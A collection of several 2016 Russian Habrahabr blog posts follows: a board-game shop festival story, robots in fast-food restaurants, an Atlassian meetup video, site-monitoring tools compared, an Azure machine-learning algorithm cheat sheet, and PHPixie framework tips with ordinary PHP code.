Я приехал как раз в день второго фестиваля, в эту субботу. Женя нашёл точку далеко за городом, в местном аналоге Меги (только вместо Икеи тут Леруа). От центра 15 километров, но больше площадок на 1000 мест просто не было. 1000 — это с запасом, рассчитывали на 500 мест постоянной занятости, занято было по факту примерно 400 мест. Женя был абсолютно убитый — волновался, решал какие-то косяки. За день до событий у него в магазине растворился заказ на 50 тысяч (он скоординировал с соседними городами совместную закупку Монополии, чтобы пробить низкую оптовую цену, и не отправил одну из посылок) — оказалось, что её приняли за поставку и «размазали» по магазину, и сразу же часть продали. Эту пасту было сложно загнать обратно в тюбик. Когда закончили, выяснилось, что стулья, которые надо было ставить в ТЦ, побывали до этого на мероприятии на пляже, и их надо было всего ничего — протереть от песочка. Вместе с Леной они там этим и занялись. И ещё столы перевезли тоже вместе. И полночи мегадженгу собирали. А утром началось — 55 аниматоров, точка продаж, точки других магазинов, точка с опытами, квестами в комнате, мафклуб… В общем, как он держался в сознании, я не понимаю. На новый год, он, конечно, опять заработает, и довольно много. И мне безумно интересно, что он придумает 10 марта, когда ему снова станет скучно, и он будет пить чай и думать. Мы же во всей сети следим за его опытом с кафе, потому что подозреваем, что это может стать новой моделью уличного магазина. У нас похожая картина на Китай-городе (бесплатная игровая зона, экспериментировали с кофе), есть магазин в одном помещении с кофейней, в Казани и Владимире игровые зоны совмещены с магазином, но там нет напитков. Параллельно мы отрабатываем свой фастфуд (это история вообще другого бизнеса) и думаем, можно ли соединить два направления. В общем, судьба этого магазина с кафе интересна всем. А Женя — Женя крутой. Нам очень везёт работать с такими офигенными людьми во многих городах.
https://habrahabr.ru/company/mosigra/blog/317506/
habrahabr
Роботы вместо персонала в ресторанах быстрого питания - миф или реальность?
['роботы', 'фастфуд']
В ходе своей предвыборной кампании Дональд Трамп пообещал, что увеличит количество рабочих мест, если он станет президентом Соединенных Штатов. Однако кандидат на пост министра труда США,...
В ходе своей предвыборной кампании Дональд Трамп пообещал, что увеличит количество рабочих мест, если он станет президентом Соединенных Штатов. Однако кандидат на пост министра труда США, генеральный директор сети быстрого питания Carl’s Jr. Энди Паздер увлекся идеей заменить работников общественного питания роботами. Ранее Паздер высказал в СМИ мысль, что в роботы, в отличие от людей «всегда вежливы, никогда не возьмут отпуск, не опоздают, не получат травму на рабочем месте или подвергнутся дискриминации по полу, возрасту или цвету кожи». Правда в том, что заявления Паздера — не мечты фантастов и какое-то ближайшее будущее, а уже реальность Суши-рестораны используют роботов, чтобы заворачивать рис в листы водорослей нори уже несколько десятков лет. Без их помощи процесс изготовления роллов и суши очень монотонный и трудоемкий. Компания Suzumo утверждает, что именно она разработала первого в мире суши-робота в 1981 году. Ей же принадлежит машина, которая лепит 3600 брусочков риса для суши в час. Другой автомат Suzumo за один час в состоянии делать 300 роллов средних размеров. Машина берет рис из миски и раздавливает его в плоский лист, водоросли, рыбу и овощи кладет сверху. Затем при нажатии на кнопку активируется платформа, которая выглядит, как конвейер. Когда на нее складывают получившиеся пластинки, вращающиеся ролики скручивают роллы. Все что нужно делает персонал – нажимает на кнопку и разрезает готовые роллы на части. В Маунтин-Вью, Калифорния, стартап Zume пытается создать более выгодную пиццу с использованием робототехники. На кухне Zume Pizza работают два робота – Марта и Бруно. Разработчики создали Марту, чтобы она хорошо, но не идеально распределяла соус по поверхности. Поэтому их пицца по-прежнему выглядит, как продукт, сделанный человеческими руками. Покрытое соусом тесто перемещается по конвейерной ленте, где персонал добавляет сыр и начинку, а автомат Бруно отправляет сырую пиццу в разогретую духовку. Создатели Zume Pizza планируют запустить производство пиццы в запатентованных фургончиках. В каждом из них 56 печей, которыми можно управлять дистанционно. Пока роботы будут загружать ингредиенты в соответствующие печи, грузовик будет кружить неподалеку от места доставки. Через 3 минуты все готово, и клиент получает только что приготовленную пиццу с доставкой на дом. В одном шанхайском ресторанчике в районе Хункоу есть роботы, которые делают лапшу рамен меньше, чем за две минуты. Два механических шеф-повара Коя и Кона пока недостаточно развиты, чтобы на самом деле самим производить лапшу, но они вполне способны смешать нужное количество лапши, яиц и говядины с правильным количеством бульона. На некоторых круизных лайнерах Royal Caribbean за барной стойкой стоят не люди, а машины. В Bionic Bar два робота смешивают, взбалтывают и процеживают все виды коктейлей. Их комбинации практически безграничны – автоматы работают с 30 видами алкоголя и 28 безалкогольными напитками. Ближе всех к сердцу американской кухни быстрого питания оказалась компания Momentum Machines. Концепт ресторана с роботом, который производит 400 бургеров в час, получил лицензию на строительство в Сан-Франциско. Для любителей блюд из киноа есть Eatsa – автоматизированный ресторан, функционирующий подобно торговому автомату. Посетители не взаимодействуют с персоналом напрямую, а заказывают еду с помощью iPad. После этого пища, приготовленная персоналом, появляется в одном из стеклянных боксов, на котором высвечивается имя посетителя. Доставка тоже встала на путь автоматизации. Наземный робот Starship с этого месяца начал доставлять еду в Лондоне, и компания планирует запуститься в ближайшем будущем в Кремниевой долине. Starship использует камеры, датчики и GPS трекеры, чтобы проложить оптимальный маршрут до заказчика по тротуарам. Если говорить о сохранности груза, то по заверениям создателей, он надежно защищен от воров в запертом отсеке. Когда автомат прибывает к месту назначения, клиент получает код, с помощью которого можно разблокировать робота. Помимо еды робот можно использовать для доставки почты и любых других вещей. Marble and Dispatch получила 2 миллиона стартового капитала в начале этого года на разработку Carry – еще одной машины для доставки еды. У Carry есть четыре отсека, в которых можно разместить до 45 килограммов еды. Робот движется по тротуарам и велосипедным дорожкам в одном темпе с пешеходами и доставляет несколько заказов за одну поездку. Чтобы перемещаться по максимально безопасному пути и не мешать людям, Carry использует набор датчиков и методы искусственного интеллекта. Carry достаточно тяжелая: чтобы ее поднять, потребуется сила двух человек, что усложняет попытки кражи автомата. Кроме того, машина подключена к 4G, и диспетчеры отслеживают ее точное местоположение. Следить за автоматом могут и сами заказчики. Когда робот прибывает на место, клиент получает уведомление и код, который откроет бокс. Несмотря на все эти технические достижения, роботы не заменят работников фастфуда в одночасье. Более вероятным сценарием будет постепенная замена людей на машины. Сначала с их помощью упорядочат самообслуживание клиентов, затем автоматизируют процесс сбора заказа. По прогнозам экспертов, доставка с помощью наземных роботов может распространиться в течение нескольких лет, прежде чем им на смену придут дроны. Тогда роботы, которые будут готовить еду, уже не будут казаться чем-то далеким и нереальным.
https://geektimes.ru/post/283642/
habrahabr
ВИДЕО: Atlassian User Group в гостях у «1С»
['1с', 'jira', 'atlassian jira', 'atlassian', 'bug tracking', 'система управления проектами', 'jira plugin', 'bamboo']
Видеозапись встречи Atlassian User Group, прошедшей 8 декабря 2016 г. в офисе «1С». Доклады: Григорий Кнеллер, Polygran — «Расширение возможностей JIRA с помощью плагина JJUPIN» — Как лёгким...
Видеозапись встречи Atlassian User Group, прошедшей 8 декабря 2016 г. в офисе «1С». Доклады: Григорий Кнеллер, Polygran — «Расширение возможностей JIRA с помощью плагина JJUPIN» — Как лёгким движением руки можно расширить стандартные возможности JIRA по построению бизнес-процессов (workflows). Анастасия Козлова, Toolstrek — «Документирование изменений» — Как не потерять управляемость изменениями, когда несколько администраторов работают в одном инстансе. Андрей Шовкопляс, Reasoning Mind — «Монитор разработки» Ольга Николаева, AUG — JIRA Automation Plugin, рассказ про этот небольшой, но чрезвычайно полезный плагин, с примерами.
https://habrahabr.ru/company/1c/blog/317508/
habrahabr
Яндекс.Метрика или специализированная система мониторинга — что и когда выбирать?
['hosting', 'uptime', 'monitoring', 'хостинг', 'мониторинг сайта', 'хосттрекер', 'яндекс.метрика', 'яндекс', 'яндекс.директ', 'yandex.ru', 'host-tracker']
Сколько бы затрат не ушло на разработку, дизайн и раскрутку сайта — все эти усилия являются напрасными, если сайт почему-то вдруг становится недоступным для клиентов. Каждый решает эту проблему...
Сколько бы затрат не ушло на разработку, дизайн и раскрутку сайта — все эти усилия являются напрасными, если сайт почему-то вдруг становится недоступным для клиентов. Каждый решает эту проблему по-своему: кто-то по привычке сооружает конструкции разной степени эффективности на коленке, а кто-то — ищет готовые решения в сети. Одно из наиболее популярных решений в рунете — функция мониторинга в Яндекс.Метрике. Другой вариант — специализированные системы мониторинга. Этот пост посвящен изучению их отличий, а также опыту практического применения. По совершенно случайному стечению обстоятельств, для сравнения был избран сервис мониторинга сайтов ХостТрекер . Что общего? Самое главное — сайт проверяется. Это то, что понимает человек, даже не вникая в детали. Каким-то образом собирается статистика о доступности сайта и приходят оповещения, когда сайт сломан. Даже настраивается похожим образом: Если покопаться в настройках — то, конечно, видно, что инструменты несколько разной направленности. Метрика больше изучает поведение клиентов, а ХостТрекер — технические аспекты работы сайта. Но эта функция кажется вроде бы одинаковой. Теория vs Практика Так в чем же все-таки разница? Как мы знаем, для настройки Яндекс.Метрики необходимо встроить некоторый javascript код на свою страницу. Благодаря ему, Метрика будет получать о каждом клиенте некоторую информацию. На ее основе, делаются выводы о посещаемости и сценариях использования сайтов. Также, косвенно, можно делать выводы о доступности: если клиентов нет дольше, чем обычно — возможно, это повод для беспокойства. ХостТрекер предлагает другой механизм — мониторинг сайта методом имитации реальных пользователей, которые регулярно посещают сайт. Впрочем, похожий механизм есть и у Метрики: проверка специальными ботами Яндекса. При чем, настраивается он как из Метрики , так и из Директа . Но об этих ботах известно немного. Их количество и адреса нигде не разглашаются (прямо написано, что это секрет), а интервал проверки остается тайным. В отчете указывается средний интервал. И хотя в описании сказано, что мониторинг работает эффективно при траффике выше 100 просмотров за неделю (что как бы намекает, что основной инструмент — все же исполняемый на странице скрипт), практика показывает, что «пропажа» интернет-магазина с 1000 заходов в сутки замечается лишь спустя час или даже более. Сайт, на котором 200 просмотров в день, лежал 3 часа перед тем, как от Метрики пришло оповещение. В обоих случаях — оповещения приходят только при непрерывном простое сайта. Если он «тормозит», или же появляется/пропадает (например, из-за повышенной нагрузки на сервер), то оповещение может и вовсе отсутствовать. Также, оповещения не приходят, если страница загружается, но рвется связь с базой, файловым сервером и другими элементами, необходимыми для корректной работы сайта. В то же время, активный мониторинг путем принудительной генерации запросов, исповедуемый ХостТрекером, не разделяет сайты по количеству посетителей, и при выбранном интервале мониторинга, скажем, в 10 минут — проверяет сайт каждые 10 минут независимо от других факторов. Конкретное сравнение: Как видим, Метрика за год заметила лишь одно падение. Для этого же сайта, ХостТрекер лишь за последний месяц заметил 4. Причина — таймаут, то есть клиенты действительно не могут попасть на сайт или же испытывают дискомфорт. Метрика это просто игнорирует то ли из-за кратковременности, то ли из-за того, что кому-то удается попасть на сайт несмотря на большую задержку и, таким образом, скрипт Яндекса все же срабатывает. Что же нужно мне? Эта публикация родилась как ответ на неоднократные вопросы (в том числе, и в комментариях на Хабре) об отличиях в работе ХостТрекера и других подобных и не очень систем. Удобство Метрики — «все в одном». В этом же и ее изъян. Похоже, разработчиками функция мониторинга понималась как приятный бонус, но далеко не главная задача Метрики (собственно, это и не скрывается). Она точна при достаточно большом количестве посетителей (из практики — несколько тысяч в день) и решает базовую задачу: оповестить, если клиент почему-то не может зайти на сайт. И отключить при этом Директ, экономя рекламные средства. Впрочем, на практике такая экономия срабатывает далеко не всегда. ХостТрекер точен вне зависимости от количества посетителей и имеет множество дополнительных функций, а также возможности для базовой диагностики: мониторинг по разным протоколам, проверка контента и тд. Приятными плюшками идут напоминания о времени окончания действия домена и сертификата сайта. Алгоритм понятен и прозрачен. Есть и минус — за большинство функций нужно платить. Немало наших клиентов пользуются двумя-тремя системами, как платными, так и бесплатными. Результаты работы не всегда совпадают. Мы об этом узнаем, так как в таких случаях, как правило, клиенты просят объяснить различия в показаниях. Нередко это приводит к выявлению скрытых багов и «особенностей» сайта, хостинга или же работы той или иной системы мониторинга, что сводит шансы проморгать реальную проблему практически к нулю. Как видим, на каждую задачу — свой инструмент. Вести с полей Вот буквально вчера нам написал клиент по поводу проблем с Google Adwords. Google также имеет механизм проверки сайтов, на которых размещается реклама. Но проблема та же, что и в Метрике — за временной интервал между падением сайта и очередной проверкой гугловского бота сгорает енная сумма денег. Поэтому мы получили запрос на интеграцию с API гугла, для того чтобы реализовать возможность автоматически отключать рекламу при падении сайта. Скорее всего, в скором времени эта функция появится — тогда напишем об этом более подробно. Этот случай прекрасно демонстрирует принцип разработки нашего сервиса — мы решаем конкретные задачи конкретных людей. С самого начала . Поэтому будем благодарны за критику и пожелания.
https://habrahabr.ru/company/host-tracker/blog/317468/
habrahabr
Как выбирать алгоритмы для машинного обучения Microsoft Azure
['microsoft', 'microsoft azure', 'machine learning', 'машинное обучение', 'нейронные сети', 'neural networks', 'алгоритмы', 'студия машинного обучения Azure']
В статье вы найдете шпаргалку по алгоритмам машинного обучения Microsoft Azure, которая поможет вам выбрать подходящий алгоритм для ваших решений предиктивной аналитики из библиотеки алгоритмов...
В статье вы найдете шпаргалку по алгоритмам машинного обучения Microsoft Azure , которая поможет вам выбрать подходящий алгоритм для ваших решений предиктивной аналитики из библиотеки алгоритмов Microsoft Azure . А также вы узнаете, как ее использовать. Ответ на вопрос «Какой алгоритм машинного обучения использовать?» всегда звучит так: «Смотря по обстоятельствам». Выбор алгоритма зависит от объема, качества и природы данных. Он зависит от того, как вы распорядитесь результатом. Он зависит от того, как из алгоритма были созданы инструкции для реализующего его компьютера, а еще от того, сколько у вас времени. Даже самые опытные специалисты по анализу данных не скажут вам, какой алгоритм лучше, пока сами не попробуют. Шпаргалка по алгоритмам машинного обучения Microsoft Azure Скачать шпаргалку по алгоритмам машинного обучения Microsoft Azure можно здесь . Она создана для начинающих специалистов по анализу данных с достаточным опытом в сфере машинного обучения, которые хотят выбрать алгоритм для использования в Студии машинного обучения Azure. Это означает, что информация в шпаргалке обобщена и упрощена, но она покажет вам нужное направление дальнейших действий. Также в ней представлены далеко не все алгоритмы. По мере того как машинное обучение Azure будет развиваться и предлагать больше методов, алгоритмы будут дополняться. Эти рекомендации созданы на основе отзывов и советов множества специалистов по анализу данных и экспертов по машинному обучению. Мы не во всем согласны друг с другом, но постарались обобщить наши мнения и достичь консенсуса. Большинство спорных моментов начинаются со слов «Смотря по обстоятельствам...» :) Как использовать шпаргалку Читать метки пути и алгоритма на схеме нужно так: «Для метка пути > использовать лгоритм >». Например, «Для speed использовать two class logistic regression ». Иногда можно использовать несколько ветвей. Иногда ни одна из них не будет идеальным выбором. Это всего лишь рекомендации, поэтому не беспокойтесь о неточностях. Некоторые специалисты по анализу данных, с которыми мне удалось пообщаться, говорят, что единственный верный способ найти лучший алгоритм — попробовать их все. Вот пример эксперимента из Cortana Intelligence Gallery , в котором пробуются несколько алгоритмов с одними и теми же данными и сравниваются результаты. Скачать и распечатать диаграмму с обзором возможностей Студии машинного обучения можно в этой статье . Разновидности машинного обучения Обучение с учителем Алгоритмы обучения с учителем делают прогнозы на основе набора примеров. Так, чтобы предсказать цены в будущем, можно использовать курс акций в прошлом. Каждый пример, используемый для обучения, получает свою отличительную метку значения, в данном случае это курс акций. Алгоритм обучения с учителем ищет закономерности в этих метках значений. Алгоритм может использовать любую важную информацию — день недели, время года, финансовые данные компании, вид отрасли, наличие серьезных геополитических событий, и каждый алгоритм ищет разные виды закономерностей. После того как алгоритм находит подходящую закономерность, с ее помощью он делает прогнозы по неразмеченным тестовым данным, чтобы предугадать цены в будущем. Это популярный и полезный тип машинного обучения. За одним исключением все модули машинного обучения Azure являются алгоритмами обучения с учителем. В службах машинного обучения Azure представлено несколько конкретных видов машинного обучения с учителем: классификация, регрессия и выявление аномалий. Классификация . Когда данные используются для прогнозирования категории, обучение с учителем называется классификацией. В этом случае происходит назначение изображения, например «кот» или «собака». Когда есть только два варианта выбора, это называется двухклассовой классификацией . Когда категорий больше, например, при прогнозировании победителя турнира NCAA March Madness, это называется многоклассовой классификацией . Регрессия . Когда прогнозируется значение, например, в случае с курсом акций, обучение с учителем называется регрессией. Фильтрация выбросов . Иногда нужно определить необычные точки данных. Например, при обнаружении мошенничества под подозрение попадают любые странные закономерности трат средств с кредитной карты. Возможных вариантов так много, а примеров для обучения так мало, что практически невозможно узнать, как будет выглядеть мошенническая деятельность. При фильтрации выбросов просто изучается нормальная активность (с помощью архива допустимых транзакций) и находятся все операции с заметными отличиями. Обучение без учителя В рамках обучения без учителя у объектов данных нет меток. Вместо этого алгоритм обучения без учителя должен организовать данные или описать их структуру. Для этого их можно сгруппировать в кластеры, чтобы они стали более структурированными, или найти другие способы упростить сложные данные. Обучение с подкреплением В рамках обучения с подкреплением алгоритм выбирает действие в ответ на каждый входящий объект данных. Через некоторое время алгоритм обучения получает сигнал вознаграждения, который указывает, насколько правильным было решение. На этом основании алгоритм меняет свою стратегию, чтобы получить наивысшую награду. В настоящее время в машинном обучении Azure нет модулей обучения с подкреплением. Обучение с подкреплением распространено в роботехнике, где набор показаний датчика в определенный момент времени является объектом, и алгоритм должен выбрать следующее действие робота. Кроме того, этот алгоритм подходит для приложений в Интернете вещей. Советы по выбору алгоритма Точность Не всегда нужен самый точный ответ. В зависимости от цели иногда достаточно получить примерный ответ. Если так, то вы можете значительно сократить время отработки, выбирая приближенные методы. Еще одно преимущество приближенных методов заключается в том, что они исключают переобучение . Время обучения Количество минут или часов, необходимых для обучения модели, сильно зависит от алгоритмов. Зачастую время обучения тесно связано с точностью — они определяют друг друга. Кроме того, некоторые алгоритмы более чувствительны к объему обучающей выборки, чем другие. Ограничение по времени помогает выбрать алгоритм, особенно если используется обучающая выборка большого объема. Линейность Во многих алгоритмах машинного обучения используется линейность. Алгоритмы линейной классификации предполагают, что классы можно разделить прямой линией (или ее более многомерным аналогом). Здесь речь идет о логистической регрессии и метод опорных векторов (в машинном обучении Azure). Алгоритмы линейной регрессии предполагают, что распределение данных описывается прямой линией*. Эти предположения подходят для решения ряда задач, но в некоторых случаях снижают точность. Ограничение нелинейных классов — использование алгоритма линейной классификации снижает точность Данные с нелинейной закономерностью — при использовании метода линейной регрессии возникают более серьезные ошибки, чем это допустимо Несмотря на недостатки, к линейным алгоритмам обычно обращаются в первую очередь. Они просты с алгоритмической точкой зрения, а обучение проходит быстро. Количество параметров Параметры — это рычаги, с помощью которых специалисты по данным настраивают алгоритм. Это числа, которые влияют на поведение алгоритма, например устойчивость к ошибкам или количество итераций, либо различия в вариантах поведения алгоритма. Иногда время обучения и точность алгоритма могут меняться в зависимости от тех или иных параметров. Как правило, найти хорошую комбинацию параметров для алгоритмов можно путем проб и ошибок. Также в машинном обучении Azure есть модульный блок подбора параметров , который автоматически пробует все комбинации параметров с указанной вами степенью детализации. Хоть этот способ и позволяет опробовать множество вариантов, однако чем больше параметров, тем больше времени уходит на обучение модели. К счастью, если параметров много, это означает, что алгоритм отличается высокой гибкостью. И при таком способе можно добиться отличной точности. Но при условии, что вам удастся найти подходящую комбинацию параметров. Количество признаков В некоторых типах данных признаков может быть гораздо больше, чем объектов. Это обычно происходит с данными из области генетики или с текстовыми данными. Большое количество признаков препятствует работе некоторых алгоритмов обучения, из-за чего время обучения невероятно растягивается. Для подобных случаев хорошо подходит метод опорных векторов (см. ниже). Особые случаи Некоторые алгоритмы обучения делают допущения о структуре данных или желаемых результатах. Если вам удастся найти подходящий вариант для своих целей, он принесет вам отличные результаты, более точные прогнозы или сократит время обучения. Свойства алгоритма: • — демонстрирует отличную точность, короткое время обучения и использование линейности. ○ — демонстрирует отличную точность и среднее время обучения. Алгоритм Точность Время обучения Линейность Параметры Примечание Двухклассовая классификация Логистическая регрессия • • 5 Лес деревьев решений • ○ 6 Джунгли деревьев решений • ○ 6 Низкие требования к памяти Улучшенное дерево принятия решений • ○ 6 Высокие требования к памяти Нейронная сеть • 9 Возможна дополнительная настройка Однослойный перцептрон ○ ○ • 4 Метод опорных векторов ○ • 5 Хорошо подходит для больших наборов признаков Локальные глубинные методы опорных векторов ○ 8 Хорошо подходит для больших наборов признаков Байесовские методы ○ • 3 Многоклассовая классификация Логистическая регрессия • • 5 Лес деревьев решений • ○ 6 Джунгли деревьев решений • ○ 6 Низкие требования к памяти Нейронная сеть • 9 Возможна дополнительная настройка Один против всех – – – – См. свойства выбранного двухклассового метода Многоклассовая классификация Регрессия Линейная • • 4 Байесова линейная ○ • 2 Лес деревьев решений • ○ 6 Улучшенное дерево принятия решений • ○ 5 Высокие требования к памяти Быстрые квантильные регрессионные леса • ○ 9 Прогнозирование распределений, а не точечных значений Нейронная сеть • 9 Возможна дополнительная настройка Пуассона • 5 Технически логарифмический. Для подсчета прогнозов Порядковая 0 Для прогнозирования рейтинга Фильтрация выбросов Методы опорных векторов ○ ○ 2 Отлично подходит для больших наборов признаков Фильтрация выбросов на основе метода главных компонент ○ • 3 Отлично подходит для больших наборов признаков Метод k-средних ○ • 4 Алгоритм кластеризации Примечания к алгоритму Линейная регрессия Как мы уже говорили, линейная регрессия рассматривает данные линейно (или в плоскости, или в гиперплоскости). Это удобная и быстрая «рабочая лошадка», но для некоторых проблем она может быть чересчур простой. Здесь вы найдете руководство по линейной регрессии. Данные с линейным трендом Логистическая регрессия Пусть слово «регрессия» в названии не вводит вас в заблуждение. Логистическая регрессия — это очень мощный инструмент для двухклассовой и многоклассовой классификации. Это быстро и просто. Поскольку вместо прямой линии здесь используется кривая в форме буквы S, этот алгоритм прекрасно подходит для разделения данных на группы. Логистическая регрессия ограничивает линейный класс, поэтому вам придется смириться с линейной аппроксимацией. Логистическая регрессия для двухклассовых данных всего с одним признаком — граница класса находится в точке, где логистическая кривая близка к обоим классам Деревья, леса и джунгли Леса решающих деревьев ( регрессия , двухклассовые и многоклассовые ), джунгли решающих деревьев ( двухклассовые и многоклассовые ) и улучшенные деревья принятия решений ( регрессия и двухклассовые ) основаны на деревьях принятия решений, базовой концепции машинного обучения. Существует много вариантов деревьев принятия решений, но все они выполняют одну функцию — подразделяют пространство признаков на области с одной и той же меткой. Это могут быть области одной категории или постоянного значения, в зависимости от того, используете ли вы классификацию или регрессию. Дерево принятия решений подразделяет пространство признаков на области с примерно одинаковыми значениями Поскольку пространство признаков можно разделить на небольшие области, это можно сделать так, чтобы в одной области был один объект — это грубый пример ложной связи. Чтобы избежать этого, крупные наборы деревьев создаются таким образом, чтобы деревья не были связаны друг с другом. Таким образом, «дерево принятия решений» не должно выдавать ложных связей. Деревья принятия решений могут потреблять большие объемы памяти. Джунгли решающих деревьев потребляют меньше памяти, но при этом обучение займет немного больше времени. Улучшенные деревья принятия решений ограничивают количество разделений и распределение точек данных в каждой области, чтобы избежать ложных связей. Алгоритм создает последовательность деревьев, каждое из которых исправляет допущенные ранее ошибки. В результате мы получаем высокую степень точности без больших затрат памяти. Полное техническое описание смотрите в научной работе Фридмана . Быстрые квантильные регрессионные леса — это вариант деревьев принятия решений для тех случаев, когда вы хотите знать не только типичное (среднее) значение данных в области, но и их распределение в форме квантилей. Нейронные сети и восприятие Нейронные сети — это алгоритмы обучения, которые созданы на основе модели человеческого мозга и направлены на решение многоклассовой , двухклассовой и регрессионной задач. Их существует огромное множество, но в машинном обучении Azure нейронные сети принимают форму направленного ациклического графика. Это означает, что входные признаки передаются вперед через последовательность уровней и превращаются в выходные данные. На каждом уровне входные данные измеряются в различных комбинациях, суммируются и передаются на следующий уровень. Эта комбинация простых расчетов позволяет изучать сложные границы классов и тенденции данных будто по волшебству. Подобные многоуровневые сети выполняют «глубокое обучение», которое служит источником вдохновения для технических отчетов и научной фантастики. Но такая производительность обходится не бесплатно. Обучение нейронных сетей занимает много времени, особенно для крупных наборов данных с множеством признаков. В них больше параметров, чем в большинстве алгоритмов, и поэтому подбор параметров значительно увеличивает время обучения. А для перфекционистов, которые хотят указать собственную структуру сети , возможности практически не ограничены. Границы, изучаемые нейронными сетями, бывают сложными и хаотичными Однослойный перцептрон — это ответ нейронных сетей на увеличение времени обучения. В нем используется сетевая структура, которая создает линейные классовые границы. По современным стандартам звучит примитивно, но этот алгоритм давно проверен на деле и быстро обучается. Методы опорных векторов Методы опорных векторов находят границу, которая разделяет классы настолько широко, насколько это возможно. Когда невозможно четко разделить два класса, алгоритмы находят наилучшую границу. Согласно машинному обучению Azure, двухклассовый метод опорных векторов делает это с помощью прямой линии (говоря на языке методов опорных векторов, использует линейное ядро). Благодаря линейной аппроксимации обучение выполняется достаточно быстро. Особенно интересна функция работы с объектами с множеством признаков, например, текстом или геномом. В таких случаях опорные векторные машины могут быстрее разделить классы и отличаются минимальной вероятностью создания ложной связи, а также не требуют больших объемов памяти. Стандартная граница класса опорной векторной машины увеличивает поле между двумя классами Еще один продукт от Microsoft Research — двухклассовые локальные глубинные методы опорных векторов . Это нелинейный вариант методов опорных векторов, который отличается скоростью и эффективностью памяти, присущей линейной версии. Он идеально подходит для случаев, когда линейный подход не дает достаточно точных ответов. Чтобы обеспечить высокую скорость, разработчики разбивают проблему на несколько небольших задач линейного метода опорных векторов. Подробнее об этом читайте в полном описании . С помощью расширения нелинейных методов опорных векторов одноклассовая машина опорных векторов создает границу для всего набора данных. Это особенно полезно для фильтрации выбросов. Все новые объекты, которые не входят в пределы границы, считаются необычными и поэтому внимательно изучаются. Байесовские методы Байесовские методы отличаются очень нужным качеством: они избегают ложных связей. Для этого они заранее делают предположения о возможном распределении ответа. Также для них не нужно настраивать много параметров. Машинное обучение Azure предлагает Байесовские методы как для классификации ( двухклассовая классификация Байеса ), так и для регрессии ( Байесова линейная регрессия ). При этом предполагается, что данные можно разделить или расположить вдоль прямой линии. Кстати, точечные машины Байеса были разработаны в Microsoft Research. В их фундаменте лежит великолепная теоретическая работа. Если вас заинтересует эта тема, читайте статью в MLR и блог Криса Бишопа (Chris Bishop) . Особые алгоритмы Если вы преследуете конкретную цель, вам повезло. В коллекции машинного обучения Azure есть алгоритмы, которые специализируются в прогнозировании рейтингов ( порядковая регрессия ), прогнозирование количества ( регрессия Пуассона ) и выявлении аномалий (один из них основан на анализе главных компонентов , а другой — на методах опорных векторов ). А еще есть алгоритм кластеризации ( метод k-средних ). Выявление аномалий на основе PCA — огромное множество данных попадает под стереотипное распределение; под подозрение попадают точки, которые сильно отклоняются от этого распределения Набор данных разделяется на пять кластеров по методу k-средних Также есть многоклассовый классификатор «один против всех» , который разбивает проблему классификации N-класса на двухклассовые проблемы класса N-1. Точность, время обучения и свойства линейности зависят от используемых двухклассовых классификаторов. Два двухклассовых классификатора формируют трехклассовый классификатор Кроме того, Azure предлагает доступ к мощной платформе машинного обучения под названием Vowpal Wabbit . VW отказывается от категоризации, поскольку может изучить проблемы классификации и регрессии и даже обучаться от частично помеченных данных. Вы можете выбрать любой из алгоритмов обучения, функций потерь и алгоритмов оптимизации. Эта платформа отличается эффективностью, возможностью параллельного выполнения и непревзойденной скоростью. Она без труда справляется с большими наборами данных. VW была запущена Джоном Лэнгфордом (John Langford), специалистом из Microsoft Research, и является болидом «Формулы-1» в океане серийных автомобилей. Не каждая проблема подходит для VW, но если вы считаете, что это верный для вас вариант, то затраченные усилия обязательно окупятся. Также платформа доступна в виде автономного открытого исходного кода на нескольких языках. Последние материалы из нашего блога по данной теме 1. Azure понятным языком (шпаргалка). 2. Грузовики и рефрижераторы в облаке (кейс). Напоминаем, что попробовать Microsoft Azure можно здесь . Если вы увидели неточность перевода, сообщите, пожалуйста, об этом в личные сообщения. *UPD Так как в тексте автора присутствует неточность, дополняем материал (спасибо @fchugunov) Линейная регрессия применяется не только для определения зависимости, которая описывается прямой линией (или плоскостью), как указано в статье. Зависимость может описываться и более сложными функциями. Например, для функции на втором графике может быть применен метод полиномиальной регрессии (разновидность линейной регрессии). Для этого входные данные (например значение x) преобразуются в набор факторов [x, x², x³,..], а метод линейной регрессии уже подбирает коэффициенты к ним.
https://habrahabr.ru/company/microsoft/blog/317512/
habrahabr
Копилка знаний для PHPixie — Часть 1
['php', 'framework', 'phpixie', 'orm']
В нашем чате часто встречаются вопросы ответы на которые могли бы пригодится и другим. К тому же в PHPixie есть много интересных фишек которые не попали в документацию так как они слишком...
В нашем чате часто встречаются вопросы ответы на которые могли бы пригодится и другим. К тому же в PHPixie есть много интересных фишек которые не попали в документацию так как они слишком специфические. Чтобы вся эта информация не потерялась я начинаю цикл статьей в стиле "tips and tricks" предназначенный в первую очередь для тех кто уже использует фреймворк. И так, начнем. Оборачивание произвольного запроса в ORM Иногда надо превратить стандартный SQL запрос в ORM сущности, это довольно просто: $result = $database->get()->execute('SELECT ....'); $loader = $orm->builder()->loaders()->dataIterator( $orm->repository('modelName'), $result ); //можно использовать как итератор foreach($loader as $entity) { //.... } //или получить массив $entities = $loader->asArray(); На самом деле таким способом можно получить сущности не только с SQL запроса но и с любого итератора и даже из массива: $result = new \ArrayIterator([ ['id' => 1, 'name' => 'Pixie'], ['id' => 2, 'name' => 'Trixie'] ]); Логирование SQL запросов Компонент Database поддерживает любой PSR-3 логгер, достаточно передать его в конструктор: $database = new \PHPixie\Database($config, new SomeLogger()); Если же вы используете фреймворк то логгер можно задать в классе Project\Framework\Builder : protected function buildLogger() { return new SomeLogger(); } Запросы будут логированы на уровне DEBUG. Подгрузка Many-To-Many связей с условием При прелоуде manyToMany (а скоро и oneToMany) связей можно подгрузить не все сущности а только те которые отвечают условию: //подгрузить к статьям авторов и те теги у которых установлено поле active = 1 $fairies = $orm->repository('post')->query()->find([ 'author', 'tags' => [ 'queryCallback' => function($query) { $query->where('active', 1); } ] ]); Шорткат для генерации URL в контроллере $frameworkBuilder = $builder->frameworkBuilder(); $uri = $frameworkBuilder->http()->generateUri('app.some', ['id' => 1]); Неофициальная поддержка Firebird Спасибо Linfuby теперь PHPixie Database и ORM также работают с Firebird. Пока она на стадии "секретная фича" и нуждается в тщательной проверке, но уже можно пробовать и помочь искать баги. Для подключения достаточно указать конфиг: return [ 'default' => [ 'driver' => 'interbase', 'database' => 'database', 'host' => 'localhost', 'user' => 'user', 'password' => 'password', 'type' => 'firebird' ] ]; Для продакшена точно рано, но может быть полезно если надо сделать пару запросов или дампнуть базу. Получение ассоциативного массива сущностей по полю $items = $orm->query('post')->find()->asArray(false, 'someField'); Новые провайдеры для Social PHPixie Social 